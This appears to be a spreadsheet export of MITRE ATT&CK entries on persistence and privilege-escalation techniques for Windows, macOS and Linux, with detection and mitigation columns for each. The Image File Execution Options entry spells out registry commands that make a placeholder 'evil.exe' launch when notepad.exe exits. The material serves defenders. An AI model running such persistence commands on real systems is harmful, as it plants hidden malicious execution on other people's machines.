T1157	**1**	**Technique**	**Dylib Hijacking**	macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X) If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.	Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.	Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.	persistence, privilege-escalation	File monitoring	macOS	User	https://attack.mitre.org/techniques/T1157
T1519	**1**	**Technique**	**Emond**	Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at <code>/sbin/emond</code> will load any rules from the <code>/etc/emond.d/rules/</code> directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path <code>/private/var/db/emondClients</code>, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at<code>/System/Library/LaunchDaemons/com.apple.emond.plist</code>.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.	Monitor emond rules creation by checking for files created or modified in <code>/etc/emond.d/rules/</code> and <code>/private/var/db/emondClients</code>.		persistence, privilege-escalation	File monitoring, API monitoring	macOS	Administrator	https://attack.mitre.org/techniques/T1519
T1044	**1**	**Technique**	**File System Permissions Weakness**	Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM. Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence. ### Services Manipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable. ### Executable Installers Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)	Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data. Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.	Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit) Identify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer) Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]</code>to automatically deny elevation requests, add: <code>"ConsentPromptBehaviorUser"=dword:00000000</code> (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: <code>"EnableInstallerDetection"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>"EnableInstallerDetection"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.	persistence, privilege-escalation	File monitoring, Services, Process command-line parameters	Windows	Administrator, User	https://attack.mitre.org/techniques/T1044

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1158	**1**	**Technique**	**Hidden Files and Directories**	To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a 'hidden' file. These files don't show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls -a</code> for Linux and macOS). Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. ### Windows Users can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the "+s" marks a file as a system file and the "+r" flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively "/S". ### Linux/Mac Users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, '.', are by default hidden from being viewed in the Finder application and standard command-line utilities like "ls". Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application. ### Mac Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). Many applications create these hidden files and folders to store information so that it doesn't clutter up the user's workspace. For example, SSH utilities create a .ssh folder that's hidden and contains the user's known hosts and keys.	Monitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.	Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.	defense-evasion, persistence	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1158
T1179	**1**	**Technique**	**Hooking**	Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017) * **Import address table (IAT) hooking**, which use modifications to a process's IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015) * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use. Malicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017) Hooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)	Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017) Rootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity. Verify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.	persistence, privilege-escalation	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1179
T1062	**1**	**Technique**	**Hypervisor**	A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with [Rootkit](https://attack.mitre.org/techniques/T1014) functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.	Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)	Prevent adversary access to privileged accounts necessary to install a hypervisor.	persistence	System calls	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1062
T1183	**1**	**Technique**	**Image File Execution Options Injection**	Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., "C:\dbg\ntsd.exe -g notepad.exe"). (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as <code>Debugger</code> values in the Registry under <code>HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable></code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\</code>. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) * <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512</code> * <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1</code> * <code>reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code>	Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010) Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017)	This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Identify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.	privilege-escalation, persistence	Process monitoring, Windows Registry, Windows event logs	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1183

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
				NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"</code> Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)							
T1525	**1**	**Technique**	**Implant Container Image**	Amazon Web Service (AWS) Amazon Machine Images (AMI), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored to include malicious code. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) A tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a web shell.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019) Adversaries may also implant Docker images that may be inadvertently used in cloud deployments, which has been reported in some instances of cryptomining botnets.(Citation: ATT Cybersecurity Cryptocurrency Attacks on Cloud)	Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.		persistence		GCP, Azure	User	https://attack.mitre.org/techniques/T1525
T1215	**1**	**Technique**	**Kernel Modules and Extensions**	Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)Â When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)Â Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview) Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)	LKMs are typically loaded into <code>/lib/modules</code> and have had the extension .ko ("kernel object") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module) Many LKMs require Linux headers (specific to the target kernel) in order to compile properly.Â These are typically obtained through the operating systems package manager and installed like a normal package. Adversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview) On Ubuntu and Debian based systems this can be accomplished by running: <code>apt-get install linux-headers-$(uname -r)</code> On RHEL and CentOS based systems this can be accomplished by running: <code>yum install kernel-devel-$(uname -r)</code> Loading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:<code>modprobe insmod lsmod rmmod modinfo</code> (Citation: Linux Loadable Kernel Module Insert and Remove LKMs) For macOS, monitor for execution of <code>kextload</code> commands and correlate with other unknown or suspicious activity.	Common tools for detecting Linux rootkits include: rkhunter (Citation: SourceForge rkhunter), chrootkit (Citation: Chkrootkit Main), although rootkits may be designed to evade certain detection tools. LKMs and Kernel extensions require root level permissions to be installed. Limit access to the root account and prevent users from loading kernel modules and extensions through proper privilege separation and limiting Privilege Escalation opportunities. Application whitelisting and software restriction tools, such as SELinux, can also aide in restricting kernel module loading. (Citation: Kernel.org Restrict Kernel Module)	persistence	System calls, Process monitoring, Process command-line parameters	Linux, macOS	root	https://attack.mitre.org/techniques/T1215
T1159	**1**	**Technique**	**Launch Agent**	Per Apple's developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in <code>/System/Library/LaunchAgents</code>, <code>/Library/LaunchAgents</code>, and <code>$HOME/Library/LaunchAgents</code> (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware). Adversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user's directory structure) or when any user logs in (which requires administrator privileges).	Monitor Launch Agent creation through additional plist files and utilities such as Objective-See's KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.	Restrict user's abilities to create Launch Agents with group policy.	persistence	File monitoring, Process monitoring	macOS	User, Administrator	https://attack.mitre.org/techniques/T1159
T1160	**1**	**Technique**	**Launch Daemon**	Per Apple's developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence). Adversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root. The plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon's executable and gain persistence or Privilege Escalation.	Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.	Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.	persistence, privilege-escalation	Process monitoring, File monitoring	macOS	Administrator	https://attack.mitre.org/techniques/T1160
T1161	**1**	**Technique**	**LC_LOAD_DYLIB Addition**	Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn't checked at load time (Citation: Malware Persistence on OS X).	Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.	Enforce that all binaries be signed by the correct Apple Developer IDs, and whitelist applications via known hashes. Binaries can also be baselined for what dynamic libraries they require, and if an app requires a new dynamic library that wasn't included as part of an update, it should be investigated.	persistence	Binary file metadata, Process monitoring, Process command-line parameters, File monitoring	macOS	User	https://attack.mitre.org/techniques/T1161

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1162	**1**	**Technique**	**Login Item**	MacOS provides the option to list specific applications to run when a user logs in. These applications run under the logged in user's context, and will be started every time the user logs in. Login items installed using the Service Management Framework are not visible in the System Preferences and can only be removed by the application that created them (Citation: Adding Login Items). Users have direct control over login items installed using a shared file list which are also visible in System Preferences (Citation: Adding Login Items). These login items are stored in the user's <code>~/Library/Preferences/</code> directory in a plist file called <code>com.apple.loginitems.plist</code> (Citation: Methods of Mac Malware Persistence). Some of these applications can open visible dialogs to the user, but they don't all have to since there is an option to 'Hide' the window. If an adversary can register their own login item or modified an existing one, then they can use it to execute their code for a persistence mechanism each time the user logs in (Citation: Malware Persistence on OS X) (Citation: OSX.Dok Malware). The API method <code> SMLoginItemSetEnabled </code> can be used to set Login Items, but scripting languages like [AppleScript](https://attack.mitre.org/techniques/T1155) can do this as well (Citation: Adding Login Items).	All the login items created via shared file lists are viewable by going to the Apple menu -> System Preferences -> Users & Groups -> Login items. This area (and the corresponding file locations) should be monitored and whitelisted for known good applications. Otherwise, Login Items are located in <code> Contents/Library/LoginItems </code> within an application bundle, so these paths should be monitored as well (Citation: Adding Login Items). Monitor process execution resulting from login actions for unusual or unknown applications.	Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).	persistence	File monitoring, API monitoring	macOS	User	https://attack.mitre.org/techniques/T1162
T1037	**1**	**Technique**	**Logon Scripts**	### Windows Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ### Mac Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.	Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.	Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Identify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.	lateral-movement, persistence	File monitoring, Process monitoring	macOS, Windows		https://attack.mitre.org/techniques/T1037
T1031	**1**	**Technique**	**Modify Existing Service**	Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)	Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) Service information is stored in the Registry at <code>HKLM\SYSTEM\CurrentControlSet\Services</code>. Command-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.	Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit) Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.	persistence	Windows Registry, File monitoring, Process monitoring, Process command-line parameters	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1031
T1128	**1**	**Technique**	**Netsh Helper DLL**	Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>. Adversaries can use netsh.exe with helper DLLs to proxy execution of arbitrary code in a persistent manner when netsh.exe is executed automatically with another Persistence technique or if other persistent software is present on the system that executes netsh.exe as part of its normal functionality. Examples include some VPN software that invoke netsh.exe. (Citation: Demaske Netsh Persistence) Proof of concept code exists to load Cobalt Strike's payload using netsh.exe helper DLLs. (Citation: Github Netsh Helper CS Beacon)	It is likely unusual for netsh.exe to have any child processes in most environments. Monitor process executions and investigate any child processes spawned by netsh.exe for malicious behavior. Monitor the <code>HKLM\SOFTWARE\Microsoft\Netsh</code> registry key for any new or suspicious entries that do not correlate with known system files or benign software. (Citation: Demaske Netsh Persistence)	Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)	persistence	DLL monitoring, Windows Registry, Process monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1128
T1050	**1**	**Technique**	**New Service**	When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. Adversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).	Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.	Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services. Identify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	persistence, privilege-escalation	Windows Registry, Process monitoring, Process command-line parameters, Windows event logs	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1050

